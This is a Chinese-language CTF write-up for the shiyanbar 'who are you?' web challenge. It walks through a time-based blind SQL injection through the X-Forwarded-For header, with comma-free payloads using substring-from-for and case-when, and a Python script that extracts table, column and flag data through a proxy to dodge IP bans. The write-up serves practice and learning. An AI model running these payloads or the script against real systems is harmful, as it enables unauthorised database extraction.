實驗吧-who are you?

拿到這一題,根據提示域頁面顯示的ip,很多小夥伴們肯定猜到了這是一道http頭注入,且是與ip相關的,與ip相關的頭常見的有:
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
x-forwarded-for
最常見的可能就是X-Forwarded-For了吧,所以我直接試了一下,將它的值修改爲127.0.0.1,頁面上的顯示也跟着變了,看來就是它了。然後隨便加一個單引號試了一下,發現被原樣輸出在了頁面上,也沒有報錯,然後試了雙引號括號等,都沒有報錯,難道是被過濾了,過濾了還能怎麼玩呢?於是暫且排除過濾,聯想到了會不會是時間盲注,於是開始寫payload,但是在利用substr函數時,發現逗號後面的內容都會被截斷,頓時懵逼了,小白剛剛入坑,也不知道怎麼繞過,於是百度之,原來substring函數有一用法可以不適用逗號完成截取功能:

substring('mask',1,2)
等價於
substring('mask' from 1 for 2)

還有一個問題,就是我之前遇到盲注都是用if來實現條件判斷,但是if大家也知道時需要逗號的,這裏可以使用select case when語句來替代。
if與select case when參考,現在,我們就可以來寫腳本了。
首先我們需要知道當前數據庫所有的表名:

#! /usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import time

chars = r"abcdefghijklmnopqrs tuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@;\/:.,0123456789"
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
#設置代理,可以忽略
proxies = {
    "http":"http://115.223.238.191:9000",
    # "http":"http://117.90.252.231:9000",
    # "http":"http://115.218.126.92:9000"
}
#這個函數的作用是獲取表名的長度,知道了長度,跑表名更加方便
def get_len():
    len = 1
    while True:

         headers = {
             "X-Forwarded-For":
                 "' or (select case when (select length((select group_concat(table_name) from information_schema.tables where table_schema=database())))={0} then sleep(5) else 1 end ) and '1'='1".format(len)
         }
        # headers = {
        #     "X-Forwarded-For":
        #         "' or (select case when (select length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag')))={0} then sleep(5) else 1 end ) and '1'='1".format(len)
        # }
        #headers = {
        #    "X-Forwarded-For":
        #        "' or (select case when (select length((select flag from flag)))={0} then sleep(5) else 1 end) and '1'='1".format(len)
        #}
        print u'當前長度%d'%len
        len += 1
        start = time.time()
        requests.get(url,headers=headers,proxies=proxies)
        end = time.time()
        if end - start >= 5:
            print "The length is %d"%(len-1)
            return len-1

#獲取具體的內容      
def get_content():
    result = ''
    for i in range(1,5):
        for char in chars:
             headers = {"X-Forwarded-For":
                            "' or (select case when (select substring(\
                            (select group_concat(table_name) from information_schema.tables where table_schema=database()) \
                           from {0} for 1))='{1}' then sleep(5) else 1 end) and '1'='1".format(i,char)}
            #headers = {
            #    "X-Forwarded-For":
            #        "' or (select case when \
            #        (select substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag') \
            #        from {0} for 1))='{1}' then sleep(5) else 1 end ) and '1'='1".format(i,char)
           # }
            start = time.time()
            requests.get(url,headers=headers,proxies=proxies)
            end = time.time()
            if end - start >= 5:
                result += char
                print u'當前進度:'+result
                break
    print u'結果:'+result
if __name__ == '__main__':
    get_len()
    #get_content()

上面的腳本只需要根據特定的目的,修改爲特定的headers就行


我跑了一下當前數據庫中group_concat(table_name)的length爲14,於是就需要根據這個長度修改一下get_content函數的外層循環的爲for i in range(1,15),由於一些失誤,這裏跑出來的表名混在一起了,但是還是可以纔出來最後的flag就是我們想要的表名。
這裏寫圖片描述
然後跑一下字段的長度
這裏寫圖片描述
字段名
這裏寫圖片描述
由於我一開始腳本沒有設置代理,所以到跑內容的時候,ip被封了。。。。


沒想到已經隔了一週多了,上面寫的東西都忘得差不多了,但是還是要完成啊。
繼續跑flag的長度:
這裏寫圖片描述
跑到一半網掛了….最終也沒跑完,不過思路就這樣了,flag也不放出來了。

有大佬給出了用sqlmap與burpsuite的方法,後續可能會補上


這裏寫圖片描述
關注web安全與python

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章